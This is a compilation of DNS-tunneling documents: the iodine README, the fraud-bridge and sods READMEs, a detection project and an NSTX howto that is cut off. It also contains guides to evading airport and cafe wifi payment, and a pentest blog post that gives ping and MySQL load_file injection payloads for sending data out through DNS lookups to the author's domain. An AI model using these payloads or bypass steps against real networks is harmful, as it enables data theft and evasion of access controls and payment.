b18aca1b9e2a9e72cb77960c355d288b  iodine-0.7.0-windows.zip 249352 b

a15bb4faba020d217016fde6e231074a  iodine-0.6.0-rc1.tar.gz 89827 b
a201bc3c2d47775b39cd90b32eb390e7  iodine-0.6.0-rc1-win32.zip 184337 b
6952343cc4614857f83dbb81247871e7  iodine-0.5.2.tar.gz     50788 b
5bb0b56e047e1453a3695ec0b9478b84  iodine-0.5.1.tar.gz     50636 b
3e3fcf025697ee80f044716eee053848  iodine-0.5.1-win32.zip 149905 b
af2d9062b7788fc47385d8c6c645dfa0  iodine-0.5.0.tar.gz     43918 b
890f13ab9ee7ea722baf0ceb3ee561c0  iodine-0.4.2.tar.gz     35262 b
58d82bca11a41a01d0ddfa7d105e6a48  iodine-0.4.1.tar.gz     33551 b
82d331f75a99d1547e0ccc3c3efd0a7a  iodine-0.4.0.tar.gz     30075 b
dfbc5037fe0229e15f6f15775117aef5  iodine-0.3.4.tar.gz     14207 b
f2a64b4fce0d07eafded5c2125d7d80b  iodine-0.3.3.tar.gz     13274 b
cdaee04229c5aefdb806af27910f34d3  iodine-0.3.2.tar.gz     13014 b
c01fb08dabbd24b151fe5dfbb0742f7a  iodine-0.3.1.tar.gz      9956 b
00cce05cfc7ac3c284be62e98c8ffb25  iodine-0.3.tar.gz        9552 b

Latest binaries: (follows latest code, may not work)
android - windows 

from http://code.kryo.se/iodine/
------------------------------------------

Official git repo for iodine dns tunnel 

This is a piece of software that lets you tunnel IPv4 data through a DNS server. This can be usable in different situations where internet access is firewalled, but DNS queries are allowed.

COMPILING

Iodine has no configure script. There are two optional features for Linux (SELinux and systemd support) that will be enabled automatically if the relevant header files are found in /usr/include. (See script at ./src/osflags)
Run make to compile the server and client binaries. Run make install to copy binaries and manpage to the destination directory. Run make test to compile and run the unit tests. (Requires the check library)

QUICKSTART

Try it out within your own LAN! Follow these simple steps:
  • On your server, run: ./iodined -f 10.0.0.1 test.com.
    If you already use the 10.0.0.0 network, use another internal net like 172.16.0.0.
  • Enter a password.
  • On the client, run: ./iodine -f -r 192.168.0.1 test.com.
    Replace 192.168.0.1 with your server's ip address.
  • Enter the same password.
  • Now the client has the tunnel ip 10.0.0.2 and the server has 10.0.0.1.
  • Try pinging each other through the tunnel.
  • Done! :)
To actually use it through a relaying nameserver, see below.

HOW TO USE

Note: server and client are required to speak the exact same protocol. In most cases, this means running the same iodine version. Unfortunately, implementing backward and forward protocol compatibility is usually not feasible.

Server side

To use this tunnel, you need control over a real domain (like mydomain.com), and a server with a public IP address to run iodined on. If this server already runs a DNS program, change its listening port and then use iodined's -b option to let iodined forward the DNS requests. (Note that this procedure is not advised in production environments, because iodined's DNS forwarding is not completely transparent.)
Then, delegate a subdomain (say, t1.mydomain.com) to the iodined server. If you use BIND for your domain, add two lines like these to the zone file:
t1      IN  NS  t1ns.mydomain.com.      ; note the dot!
t1ns        IN  A   10.15.213.99
The NS line is all that's needed to route queries for the t1 subdomain to the t1ns server. We use a short name for the subdomain, to keep as much space as possible available for the data traffic. At the end of the NS line is the name of your iodined server. This can be any name, pointing anywhere, but in this case it's easily kept in the same zone file. It must be a name (not an IP address), and that name itself must have an A record (not a CNAME).
If your iodined server has a dynamic IP, use a dynamic DNS provider. Simply point the NS line to it, and leave the A line out:
t1      IN  NS  myname.mydyndnsprovider.com.    ; note the dot!
Then reload or restart your nameserver program. Now any DNS queries for domains ending in t1.mydomain.com will be sent to your iodined server.
Finally start iodined on your server. The first argument is the IP address inside the tunnel, which can be from any range that you don't use yet (for example 192.168.99.1), and the second argument is the assigned domain (in this case t1.mydomain.com). Using the -f option will keep iodined running in the foreground, which helps when testing. iodined will open a virtual interface ("tun device"), and will also start listening for DNS queries on UDP port 53. Either enter a password on the commandline (-P pass) or after the server has started. Now everything is ready for the client.
If there is a chance you'll be using an iodine tunnel from unexpected environments, start iodined with a -c option. Resulting commandline in this example situation:
./iodined -f -c -P secretpassword 192.168.99.1 t1.mydomain.com

Client side

All the setup is done, just start iodine. It takes one or two arguments, the first is the local relaying DNS server (optional) and the second is the domain you used (t1.mydomain.com). If you don't specify the first argument, the system's current DNS setting will be consulted.
If DNS queries are allowed to any computer, you can directly give the iodined server's address as first argument (in the example: t1ns.mydomain.com or 10.15.213.99). In that case, it may also happen that any traffic is allowed to the DNS port (53 UDP) of any computer. Iodine will detect this, and switch to raw UDP tunneling if possible. To force DNS tunneling in any case, use the -r option (especially useful when testing within your own network).
The client's tunnel interface will get an IP close to the server's (in this case 192.168.99.2 or .3 etc.) and a suitable MTU. Enter the same password as on the server either as commandline option or after the client has started. Using the -f option will keep the iodine client running in the foreground.
Resulting commandline in this example situation, adding -r forces DNS tunneling even if raw UDP tunneling would be possible:
./iodine -f -P secretpassword t1.mydomain.com
From either side, you should now be able to ping the IP address on the other end of the tunnel. In this case, ping 192.168.99.1 from the iodine client, and 192.168.99.2 from the iodine server.

MISC. INFO

IPv6

The data inside the tunnel is IPv4 only.
The server listens to both IPv4 and IPv6 for incoming requests by default. Use options -4 or -6 to only listen on one protocol. Raw mode will be attempted on the same protocol as used for the login.
The client can use IPv4 or IPv6 nameservers to connect to iodined. The relay nameservers will translate between protocols automatically if needed. Use options -4 or -6 to force the client to use a specific IP version for its DNS queries.

Routing

It is possible to route all traffic through the DNS tunnel. To do this, first add a host route to the nameserver used by iodine over the wired/wireless interface with the default gateway as gateway. Then replace the default gateway with the iodined server's IP address inside the DNS tunnel, and configure the server to do NAT.
However, note that the tunneled data traffic is not encrypted at all, and can be read and changed by external parties relatively easily. For maximum security, run a VPN through the DNS tunnel (=double tunneling), or use secure shell (SSH) access, possibly with port forwarding. The latter can also be used for web browsing, when you run a web proxy (for example Privoxy) on your server.

Testing

The iodined server replies to NS requests sent for subdomains of the tunnel domain. If your iodined subdomain is t1.mydomain.com, send a NS request for foo123.t1.mydomain.com to see if the delegation works.
dig is a good tool for this:
% dig -t NS foo123.t1.mydomain.com
ns.io.citronna.de.
Also, the iodined server will answer requests starting with 'z' for any of the supported request types, for example:
dig -t TXT z456.t1.mydomain.com
dig -t SRV z456.t1.mydomain.com
dig -t CNAME z456.t1.mydomain.com
The reply should look like garbled text in all these cases.

Mac OS X

On Mac OS X 10.6 and later, iodine supports the native utun devices built into the OS - use -d utunX.

Operational info

The DNS-response fragment size is normally autoprobed to get maximum bandwidth. To force a specific value (and speed things up), use the -m option.
The DNS hostnames are normally used up to their maximum length, 255 characters. Some DNS relays have been found that answer full-length queries rather unreliably, giving widely varying (and mostly very bad) results of the fragment size autoprobe on repeated tries. In these cases, use the -M switch to reduce the DNS hostname length to, for example 200 characters, which makes these DNS relays much more stable. This is also useful on some “de-optimizing” DNS relays that stuff the response with two full copies of the query, leaving very little space for downstream data (also not capable of EDNS0). The -M switch can trade some upstream bandwidth for downstream bandwidth. Note that the minimum -M value is about 100, since the protocol can split packets (1200 bytes max) in only 16 fragments, requiring at least 75 real data bytes per fragment.
The upstream data is sent gzipped encoded with Base32; or Base64 if the relay server supports mixed case and + in domain names; or Base64u if _ is supported instead; or Base128 if high-byte-value characters are supported. This upstream encoding is autodetected. The DNS protocol allows one query per packet, and one query can be max 256 chars. Each domain name part can be max 63 chars. So your domain name and subdomain should be as short as possible to allow maximum upstream throughput.
Several DNS request types are supported, with the NULL and PRIVATE types expected to provide the largest downstream bandwidth. The PRIVATE type uses value 65399 in the private-use range. Other available types are TXT, SRV, MX, CNAME and A (returning CNAME), in decreasing bandwidth order. Normally the “best” request type is autodetected and used. However, DNS relays may impose limits on for example NULL and TXT, making SRV or MX actually the best choice. This is not autodetected, but can be forced using the -T option. It is advisable to try various alternatives especially when the autodetected request type provides a downstream fragment size of less than 200 bytes.
Note that SRV, MX and A (returning CNAME) queries may/will cause additional lookups by "smart" caching nameservers to get an actual IP address, which may either slow down or fail completely.
DNS responses for non-NULL/PRIVATE queries can be encoded with the same set of codecs as upstream data. This is normally also autodetected, but no fully exhaustive tests are done, so some problems may not be noticed when selecting more advanced codecs. In that case, you'll see failures/corruption in the fragment size autoprobe. In particular, several DNS relays have been found that change replies returning hostnames (SRV, MX, CNAME, A) to lowercase only when that hostname exceeds ca. 180 characters. In these and similar cases, use the -O option to try other downstream codecs; Base32 should always work.
Normal operation now is for the server to not answer a DNS request until the next DNS request has come in, a.k.a. being “lazy”. This way, the server will always have a DNS request handy when new downstream data has to be sent. This greatly improves (interactive) performance and latency, and allows to slow down the quiescent ping requests to 4 second intervals by default, and possibly much slower. In fact, the main purpose of the pings now is to force a reply to the previous ping, and prevent DNS server timeouts (usually at least 5-10 seconds per RFC1035). Some DNS servers are more impatient and will give SERVFAIL errors (timeouts) in periods without tunneled data traffic. All data should still get through in these cases, but iodine will reduce the ping interval to 1 second anyway (-I1) to reduce the number of error messages. This may not help for very impatient DNS relays like dnsadvantage.com (ultradns), which time out in 1 second or even less. Yet data will still get trough, and you can ignore the SERVFAIL errors.
If you are running on a local network without any DNS server in-between, try -I 50 (iodine and iodined close the connection after 60 seconds of silence). The only time you'll notice a slowdown, is when DNS reply packets go missing; the iodined server then has to wait for a new ping to re-send the data. You can speed this up by generating some upstream traffic (keypress, ping). If this happens often, check your network for bottlenecks and/or run with -I1.
The delayed answering in lazy mode will cause some “carrier grade” commercial DNS relays to repeatedly re-send the same DNS query to the iodined server. If the DNS relay is actually implemented as a pool of parallel servers, duplicate requests may even arrive from multiple sources. This effect will only be visible in the network traffic at the iodined server, and will not affect the client's connection. Iodined will notice these duplicates, and send the same answer (when its time has come) to both the original query and the latest duplicate. After that, the full answer is cached for a short while. Delayed duplicates that arrive at the server even later, get a reply that the iodine client will ignore (if it ever arrives there).
If you have problems, try inspecting the traffic with network monitoring tools like tcpdump or ethereal/wireshark, and make sure that the relaying DNS server has not cached the response. A cached error message could mean that you started the client before the server. The -D (and -DD) option on the server can also show received and sent queries.

TIPS & TRICKS

If your port 53 is taken on a specific interface by an application that does not use it, use -p on iodined to specify an alternate port (like -p 5353) and use for instance iptables (on Linux) to forward the traffic:
iptables -t nat -A PREROUTING -i eth0 -p udp --dport 53 -j DNAT --to :5353
(Sent in by Tom Schouten)
Iodined will reject data from clients that have not been active (data/pings) for more than 60 seconds. Similarly, iodine will exit when no downstream data has been received for 60 seconds. In case of a long network outage or similar, just restart iodine (re-login), possibly multiple times until you get your old IP address back. Once that's done, just wait a while, and you'll eventually see the tunneled TCP traffic continue to flow from where it left off before the outage.
With the introduction of the downstream packet queue in the server, its memory usage has increased with several megabytes in the default configuration. For use in low-memory environments (e.g. running on your DSL router), you can decrease USERS and undefine OUTPACKETQ_LEN in user.h without any ill conse- quence, assuming at most one client will be connected at any time. A small DNSCACHE_LEN is still advised, preferably 2 or higher, however you can also undefine it to save a few more kilobytes.

PERFORMANCE

This section tabulates some performance measurements. To view properly, use a fixed-width font like Courier.
Measurements were done in protocol 00000502 in lazy mode; upstream encoding always Base128; iodine -M255; iodined -m1130. Network conditions were not extremely favorable; results are not benchmarks but a realistic indication of real-world performance that can be expected in similar situations.
Upstream/downstream throughput was measured by scp'ing a file previously read from /dev/urandom (i.e. incompressible), and measuring size with ls -l ; sleep 30 ; ls -l on a separate non-tunneled connection. Given the large scp block size of 16 kB, this gives a resolution of 4.3 kbit/s, which explains why some values are exactly equal. Ping round-trip times measured with ping -c100, presented are average rtt and mean deviation (indicating spread around the average), in milliseconds.

Situation 1: Laptop -> Wifi AP -> Home server -> DSL provider -> Datacenter

 iodine    DNS "relay"        bind9           DNS cache        iodined

                        downstr.  upstream downstr.  ping-up       ping-down
                        fragsize   kbit/s   kbit/s  avg +/-mdev   avg +/-mdev
-----------------------------------------------------------------------------

iodine -> Wifi AP :53
  -Tnull (= -Oraw)           982    43.6    131.0   28.0    4.6   26.8    3.4

iodine -> Home server :53
  -Tnull (= -Oraw)          1174    48.0    305.8   26.6    5.0   26.9    8.4

iodine -> DSL provider :53  
  -Tnull (= -Oraw)          1174    56.7    367.0   20.6    3.1   21.2    4.4
  -Ttxt -Obase32             730    56.7    174.7*
  -Ttxt -Obase64             874    56.7    174.7
  -Ttxt -Obase128           1018    56.7    174.7
  -Ttxt -Oraw               1162    56.7    358.2
  -Tsrv -Obase128            910    56.7    174.7
  -Tcname -Obase32           151    56.7     43.6
  -Tcname -Obase128          212    56.7     52.4

iodine -> DSL provider :53  
  wired (no Wifi) -Tnull    1174    74.2    585.4   20.2    5.6   19.6    3.4

 [174.7* : these all have 2frag/packet]

Situation 2: Laptop -> Wifi+vpn / wired -> Home server

 iodine                            iodined

                        downstr.  upstream downstr.  ping-up       ping-down
                        fragsize   kbit/s   kbit/s  avg +/-mdev   avg +/-mdev
-----------------------------------------------------------------------------

wifi + openvpn  -Tnull      1186   166.0   1022.3    6.3    1.3    6.6    1.6

wired  -Tnull               1186   677.2   2464.1    1.3    0.2    1.3    0.1

Notes

Performance is strongly coupled to low ping times, as iodine requires confirmation for every data fragment before moving on to the next. Allowing multiple fragments in-flight like TCP could possibly increase performance, but it would likely cause serious overload for the intermediary DNS servers. The current protocol scales performance with DNS responsivity, since the DNS servers are on average handling at most one DNS request per client.

PORTABILITY

iodine has been tested on Linux (arm, ia64, x86, AMD64 and SPARC64), FreeBSD (ia64, x86), OpenBSD (x86), NetBSD (x86), MacOS X (ppc and x86, with http://tuntaposx.sourceforge.net/). and Windows (with OpenVPN TAP32 driver, see win32 readme file). It should be easy to port to other unix-like systems that have TUN/TAP tunneling support. Let us know if you get it to run on other platforms.

THE NAME

The name iodine was chosen since it starts with IOD (IP Over DNS) and since iodine has atomic number 53, which happens to be the DNS port number.
from https://github.com/yarrick/iodine
-----------

Bypassing Captive Portals/Airport Pay Restrictions with Iodine on a Debian VPS 


This guide is intended for those who want to set up a Iodine on a Debian or Ubuntu VPS. Lots of time has been spent through trial and error trying to figure it out. Insight and portions of this guide have been taken http://code.kryo.se/iodine/.

Server Setup:

1. Run one of the following scripts on your server below.
SSH into your server/VPS and run one of the below scripts:
1a. Ubuntu only installation!
cat >> /etc/apt/sources.list <<END
deb http://archive.ubuntu.com/ubuntu natty main restricted universe
END
apt-get update
apt-get -t natty install iodine
sed -i '$d' /etc/apt/sources.list
1b. Debian only installation!
cat >> /etc/apt/sources.list <<END
deb http://ftp.debian.org/debian sid main
END
apt-get update
apt-get -t sid install iodine
sed -i '$d' /etc/apt/sources.list
2. Set up your DNS:
I used Namecheap FreeDNS for this example (as it requires no software installation, nor resources).
Point your domain (any domain is fine, even a free one like .co.cc or .tk) to NameCheap’s FreeDNS service. The nameservers are:
freedns1.registrar-servers.com
freedns2.registrar-servers.com
freedns3.registrar-servers.com
co.cc settings page
3. Point your DNS to your VPS:
You must fill in the IP Address box to point to your VPS/Linux server
The hostname “iodine” must point to your domain. For example it would be “tunnel.yourdomain.com” as a NS Record.
You can check if your DNS settings are valid at http://code.kryo.se/iodine/check-it/
Enter in the A record into the box (the one that is tunnel.yourdomain.com)
NameCheap DNS page
4. Launch iodined on your server:
Make sure you have TUN/TAP enabled with your VPS provider, and also that nothing else is using it (eg. OpenVPN)
Launch iodined through SSH with a command like this:
iodined -c -f 10.0.0.1 -P yourpasswordhere iodine.yourdomain.com
Make sure to replace the password “yourpasswordhere” with your own. You must use this password for the client as well. Also make sure to replace the domain to your own.
It should return an output like this:
Opened dns0
Setting IP of dns0 to 10.0.0.1
Setting MTU of dns0 to 1130
Opened UDP socket
Listening to dns for domain iodine.yourdomain.com

Client Setup:

5. Install the TAP Adapter:
Go to http://openvpn.net/index.php/open-source/downloads.html and download the newest installer for Windows. While going through the installation wizard, make sure you only select the line that says “TAP Virtual Ethernet Adapter” as shown below.
OpenVPN Install page
6. Download the Iodine client to your computer:
The current version is 0.6.0-rc1. You can find newer versions the project homepage in the future.
7. Extract the Iodine client:
You can use a program like 7-zip. Extract it to your desktop for ease of access.
8. Connect your computer to your server with iodine:
Open up the command prompt and type in:
iodine -f -P yourpasswordhere youriphere iodine.yourdomain.com
Make sure you have changed directory to the iodine folder, and make sure you have replaced the relevant password, IP, and domain to match your server settings.
The console output should look something like this:
Opening device Local Area Connection 2
Opened UDP socket
Opened UDP socket
Opened UDP socket
Sending DNS queries for iodine.cwaffles.co.cc to 74.63.253.53
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #0
Enabling interface 'Local Area Connection 2'
Setting IP of interface 'Local Area Connection 2' to 10.0.0.2 (can take a few seconds)...

Server tunnel IP is 10.0.0.1
Testing raw UDP data to the server (skip with -r)
Server is at 74.63.253.53, trying raw login: OK
Sending raw traffic directly to 74.63.253.53
Connection setup complete, transmitting data.
9. Test if the tunnel works:
Open another command prompt and type in the following:
ping 10.0.0.1 /t
If you get ping responses, then everything is good.
10. Tunnel through SSH (easier than using a web proxy):
Get an SSH client like KiTTY (it’s a revamped version of PuTTY).
Extract KiTTY and add a SSH Tunnel using the settings shown below. Make sure to hit “Add”.
KiTTY settings page
Connect to IP 10.0.0.1 and enter in your login details that you usually use.
11. Get FoxyProxy for Mozilla Firefox or Proxy Switchy for Google Chrome.
Enter in the proxy info as shown below:
FoxyProxy settings page
Set your browser to connect through SSH, and check your IP address at http://whatismyipaddress.com/
Special thanks to InsDel for all the help. Without you, this guide wouldn’t be up :).
Let me know if it works, or if you have any suggestions in the comments!
------------------------------------

用dnsmasq实现Data Retrieval over DNS


对于内网渗透来说，传送数据出来，一直是个难题。而DNS是目前互联网的基石，无论你是处在广域网中，还是企业的局域网中，都会使用DNS来做域名解析。本文探讨一种利用DNS解析来做数据传送的手段。该手段英文名Data Retrive over DNS，暂时似乎还不知道中文该怎么称呼才合适，DNS数据获取？？该方法是由Miroslav发现的，技术白皮书在此
1.DNS的过程
关于DNS的解析过程，本来想自己画一幅图，但是因为某人已经画了一幅非常专业的流程图，我就不再重复发明轮子了，直接借用过来，原图地址在此
注意要点：用户的普通DNS请求，是可以通过自己的私有服务器进行解析的。
2.为什么该方法很有意思
该方法之所以被关注，基于以下三点原因：
  • 数据传输方式不容易被发现。在很多企业，局域网内的互联网访问是被隔绝的，但是DNS确可以很好的工作。有了该方法，我就可以通过DNS解析，将内网数据传送出去。
  • 数据传输跨平台。一般内网渗透，会有一个问题，用什么工具把数据传输出去呢？Linux上有nc等大把工具，但是Windows上确少的可怜。有没有什么命令是跨平台的呢？答案是ping。ping命令在使用时，必然会有一个DNS解析过程。因此可以利用ping来传输数据
  • 不光是ping，还有很多系统命令，库，中间件，会进行DNS解析，这些都成为了数据传输的发起点。比如sql的盲注过程，我们就可以利用mysql的load_file函数来进行DNS解析。
3.如何实现该方法
3.1 首先得申请一个域名
本博客的域名，是在name.com申请的，每年维护费用大概在10$的样子。本文就以name.com的管理界面为例来说明如何配置，其它域名服务商的配置大致相似。
3.2 使用dnsmasq配置自己的域名服务器
首先安装dnsmasq，Ubuntu的话用命令sudo apt-get install dnsmasq。之后编辑其配置文件/etc/dnsmasq.conf，增加如下
# 打开日志记录
log-queries  
＃ 配置解析规则，将所有tonylee.name结尾的域名都解析为103.214.68.222的地址
address=/tonylee.name/103.214.68.222
之后重启dnsmasq服务sudo service dnsmasq restart
3.3 在name.com上注册自己的域名服务器，并配置生效
因为域名服务TTL的原因，生效时间在各地有从几分钟到几小时不等的延迟.
3.4观察输出
当配置生效后，当你访问一个比较变态的域名时，比如xoxo.tonylee.name，则可以在/var/log/syslog中看到该信息
Jun 20 23:03:19 tonylee dnsmasq[30996]: query[A] xoxo.tonylee.name from 74.125.1  
90.10  
Jun 20 23:03:19 tonylee dnsmasq[30996]: config xoxo.tonylee.name is 103.214.68.2  
22
4.如何利用
4.1 利用ping命令
当你所在的局域网无法访问外网，但是又可以正常使用DNS时，则可以通过ping命令来发送信息，比如
ping someinfo.tonylee.name
则最终可以在自己的服务器上查看该信息
4.2 SQL盲注的利用
如果使用mysql，则可以执行如下sql命令
select load_file(concat('\\\\', user(), '.tonylee.name\\owo'));
最终会发送出root@localhost.tonylee.name的DNS请求，随即拿到了用户.
from https://story.tonylee.name/2016/06/21/yong-dnsmasqshi-xian-data-retrive-over-dns
-------

http://archive.is/5Vevn , UDP 53 免费上网、DNS 隧道经验谈
---------

 ICMP and DNS tunneling via IPv4 

fraud-bridge
============

Initially, this project was named cloud-bridge when I realized
that this name was already registered with a lot of companies.
It was of course actually not made to do what the name might suggest.
fraud-bridge does nothing new and can well be substituted by already
exiting tools like icmptx, iodine, ozzyman DNS, nstx etc.

So when I was forced to look for a new name for my project,
something that might sounds similar to "cloud", I ended up
at "fraud." (In german "Maut" may also would make sense, but
nobody would get the joke!)

So why yet another tunneling tool? Why should I use fraud-bridge instead
of icmptx/nstx etc, you might ask?
Answer: You shouldnt. Stick with what works for you. This project
is just for my own understanding of kernel (tuntap) internals and
protocol playings.

fraud-bridge allows to tunnel TCP connections through ICMP, ICMPv6, DNS
via UDP or DNS via UDP6.

It automatically patches TCP MSS option to achieve a non-fragmented stream
of packets. It also uses MD5 to (HMAC-)integrity protect the tunnel
from evil injected TCP packets. If you need privacy, you must use encryption
yourself. Its assumed that you use SSH over the tunnel anyways.
(Either directly or with the SSH proxy option if you need HTTP tunneled.)

fraud-bridge also uses EDNS0 extension headers to put as many bytes into
the TXT reply as possible. In my tests, as it tries to answer any timing
packets, it produces no logs in a bind9 system logfile. If you change
the EDNS0 (-E), you need to do it on both ends with the same value.
(As inside announces maximum UDP payload size to the nameserver and outside
endpoint calculates the MSS from that what was given with -E.)

fraud-bridge also includes some other techniques to cope with
certain bind limitations, e.g. quotas/limiting.

After start, it opens a point-to-point tunnel 1.2.3.4 <-> 1.2.3.5
You then need to start "inside.sh" on the inside and "outside.sh"
on the outside (on outside it can be at any given time before,
it basically prevents kernel from ICMP replies and assigns the IPs).

Looks like so:

# ./fraud-bridge -u -R 127.0.0.1 -D f.sub.dnstunnel.com -k key
(and starting inside.sh)

And on outside end of tunnel (e.g. the internet):
# ./fraud-bridge -u -L 192.168.2.222 -D f.sub.dnstunnel.com -k key
(and starting outside.sh)

for a DNS tunnel with a local (127.0.0.1) named running and
the outside peer being at 192.168.2.222. As said, outside part of
tunnel can (and actually needs to) be started beforehand and will just
listen for the peer to open the tunnel. Example zonefiles are included.

You can then use "ssh -x -v 1.2.3.5" to get a SSH connection to
192.168.2.222.

You can also do that with ICMP (-i) and ICMP on IPv6 (-I) or DNS on UDP via
IPv6 (-U).
It's also possible to switch tunnel from DNS to ICMP beyond your SSH connection,
as the TCP state is kept in local and remote kernel and not in the bridge.

fraud-bridge will leave stdout open for reporting errors or verbose messages,
so you need to run it on a screen or redirect output to /dev/null if you need
it running in background.


from https://github.com/stealth/fraud-bridge


-------




how to get free wifi at the airport/cafe



After having a personal interest in DNS tunneling I tried setting up iodine
 and quickly found out that it’s not a fun process (it involves a user 
controlled server and some DNS configurations). The idea, however, is 
definitely super cool.

So what the hell is useful about DNS tunneling?

Many
 pay for wifi services will block all types of traffic unless you pay an
 often insane amount. Why would I pay $10.00 for a one day pass for 
wifi? That’s insanity! DNS tunneling comes in handy here because these 
services often do not block DNS traffic so you can “hide” your normal 
traffic in DNS queries and evade their blocks altogether.

Why?

In a simplified way, your computer does DNS something like this:



*Your computer checks to see if it has the DNS record in it’s cache…Nope!*



PC -> Root Nameserver: “I need the IP for thehackerblog.com”



Root Nameserver -> PC: “Ah .com I see. My buddy TLD has that I think, check with him man.”



PC -> TLD: “I need the IP for thehackerblog.com”



TLD -> PC: “Yea man my friend ‘Authoritative Nameserver’ has that I think!”



PC -> Authoritative Nameserver: “Yea boy I got what you crave! The IP for that is 127.0.0.1!”



*PC puts that down in it’s cache so it doesn’t have to deal with those ghetto nameservers again*

So
 that’s how it normally works (granted it may be a little less “ghetto”)
 but I wonder how it’d work if the wifi service redirected all DNS to 
it’s own servers?



*Your computer checks to see if it has the DNS record in it’s cache…Nope!*



PC -> Root Namerserver: “What’s the IP for thehackerblog.com?”



*The wifi service intercepts this request and responds with it’s own server*



WIFI SERVER -> PC: “Yes, that IP is *cough* 1.3.3.7 (the WIFI SERVER’S IP)”



*PC thinks this is pretty legit and adds it to it’s cache*

So
 now when you try to go to thehackerblog.com your computer will not go 
to thehackerblog.com but rather their own server because the computer’s 
record shows that the IP address is 1.3.3.7. This seems great for the 
time being but imagine that you do pay for the expensive wifi server and
 they let you use their precious interweb service.

Now your DNS will work something like this:



*Your computer checks to see if it has the DNS record in it’s cache…Yep! thehackerblog.com is at 1.3.3.7*

Uh
 oh! Now the poor little PC thinks that the domain is at the wrong IP! 
This will end up confusing the end user for sure! Especially because 
this IP is probably an internal IP address so it will probably just show
 a connection error.

Not good, because of this, the pay-for wifi 
services usually allow DNS requests but modify the TCP/UDP data to 
redirect your browser to their pay page.

**Good news everyone!

**

This is good because it means we can communicate with the outside world over DNS! How exciting!

As
 much as I’d love to have a cute explanation how to hide information in 
DNS requests suffice to say that it’s possible and can be done (and is 
being done!).

(If you are interested in what a DNS packet would look like see here: http://www.firewall.cx/networking-topics/protocols/domain-name-system-dns/160-protocols-dns-query.html)

The
 nice thing is you can do the same thing over ICMP via a ping tunnel. 
This basically works in the same general way – you shove your requests 
inside ICMP packets and then send them off to your server who 
decodes/processes it and sends you data back in even more stuffed ICMP 
packets.

Sounds complicated, but I don’t want to have to set all this stuff up!

Glad you say that, it’s a pain in the butt to do, but you’re in luck!

Their is a service called “Wi-free” that actually provides this cool tunneling for a reasonable charge.

http://www.wi-free.com/

Their
 plans are pretty reasonable and if you travel a lot you’ll end up 
saving a good amount, not to mention it works as a normal VPN as well. 
They have been around for years and are a very reputable company.



So if you’re like me you’d prefer this service over setting up a complicated tunneling scheme for this sort of thing.



from https://www.eelsgo.com/zh-TW/article/icmp%20dns

---------------------------------------



dns tunnel dectect with CNN model



通过深度学习CNN模型来检测DNS隐蔽通道，见《AI安全初探——利用深度学习检测DNS隐蔽通道》



使用方法：
(1) 安装requirements lib：pip install -r requirements.txt

(2) 训练模型: python dns_tunnel_train_model.py

(3) 预测xshell： python dns_tunnel_predict_xshell.py

注：dns tunnel工具的DNS流量样本收集请参考 《DNS隐蔽通道检测——数据收集，利用iodine进行DNS隐蔽通道样本收集》。



from https://github.com/BoneLee/dns_tunnel_dectect_with_CNN 

-------



 Socket over DNS tunnel
        
        









WHAT IS IT?

sods is a socket over dns server that uses the DNS to tunnel data. sods
includes a small, portable client (sdt) and ds, a utility to scan for
DNS servers that support recursion.

The protocol is interoperable with OzymanDNS
(http://lmgtfy.com/?q=OzymanDNS).







WHAT DO I NEED TO BUILD IT?

Not much.

sods has been built on Ubuntu Linux, Maemo, OpenWRT, Mac OS X and
Solaris.







HOW DO I BUILD IT?







Server


cd sods
./configure
# adjust the Makefile
make








Client


cd sdt
./configure
# adjust the Makefile
make








HOW DO I RUN IT?


# In the sods directory
sudo ./sods -vvvv -d /tmp -L 127.0.0.1:22 a.example.com # if you have an SSH server on localhost

# In the sdt directory
ssh -o ProxyCommand="./sdt -r 127.0.0.1 sshdns.a.example.com" 127.0.0.100

# As a TCP proxy
./sdt p 23233 -r 127.0.0.1 sshdns.a.example.com
ssh -p 23233 localhost # for OpenSSH


The sods client works best with GNU screen installed on your shell
server (see the scripts directory for an example of a script to
reconnect if the connection is dropped).







WHY WOULD I WANT TO USE IT?

sods is tiny, easily ported and fast. Well, sort of fast, for a
tunnel going over DNS. Which means not really very fast.

sods has a few tricks to get around network limitations.

Some ways to use sods:


    

  • 
use of gated internet access that allow DNS queries, like those found
in airports, coffee shops, restaurants and hotels, when you just need
quick SSH access
    


    • 

  • 
to bypass firewall port or proxy filtering and snooping
    


    • 

  • 
penetration testing: bypass strict access controls on outgoing
connections on secure networks
    


    • 

  • 
have fun with anyone doing traffic analysis on your network usage
    


    • 








FEATURES


    

  • 
use TXT, CNAME or NULL records to encapsulate data
    


    • 

  • 
supports multiple forwarded sessions (use multiple "-L" option)
    


    • 

  • 
round robin packets between name servers
    


    • 

  • 
bounce connections off of public recursive name servers (-r random)
    


    • 

  • 
dynamic backoff/throttling of client
    


    • 

  • 
client can use be used as a pipe (for OpenSSH) or as a TCP proxy (for other ssh clients)
    


    • 


from https://github.com/msantos/sods 

-----------------------------------





IP-over-DNS HOWTO





You're sitting in an airport or in a cafe, and people want your money for
Internet access.  They do allow DNS traffic, though. 



If the ISP allows DNS traffic to any DNS server (and not just their own), you
might consider running OpenVPN on UDP port
53 (thanks to Norman Rasmussen for this suggestion).  If they don't, however,
NSTX comes to the rescue.  NSTX is a hack to tunnel IP traffic over DNS.  NSTX
(IP-over-DNS) seems cool, but you cannot get it to work.  You've downloaded
the latest version, maybe
because you saw it mentioned on
Slashdot. You've looked at the nstx project page and the
freshmeat page.  You even
tried reading some confusing
documentation.  Maybe you gave up and tried OzymanDNS.  But curiousity got the better
of you.  You really want to use this. 



Once you've followed these instructions, you basically have a remote proxy,
providing you with access to the Internet.  Communication between you and the
remote proxy is over NSTX.



If DNS traffic does not work, but ICMP traffic (i.e., ping) works, try ICMPTX: IP-over-ICMP.  Note that these
instructions play nicely with ICMPTX. You can run both on one proxy.





Keywords

nstx, ip-over-DNS, tunnel, firewall piercing, ifconfig, route, tun/tap, tun0.





Solution

You need several things to get going:




    

  •  a DNS server that you can configure, (we'll call this
    ns.example.com)

    • 

  •  another server, one not running DNS.  We're going to assume the IP
    address of this machine is 1.2.3.4.  The reason you cannot run DNS on the
    same machine, is that you're going to run nstx on this machine.  Nstx
    must run on port 53, like DNS.

    • 

  •  a crippled Internet connection, i.e., one that only allows you to issue
    DNS queries.

    • 




Configure a new DNS subdomain

Let's assume you're running the domain "example.com".  The nameserver for this
domain is, as mentioned before, "ns.example.com".  Configure "ns.example.com"
by adding a subdomain, "tunnel.example.com".   You do this by appending the
following DNS records at the end of the zone file for "example.com":




;
; subdomain for IP-over-DNS tunnelling
;
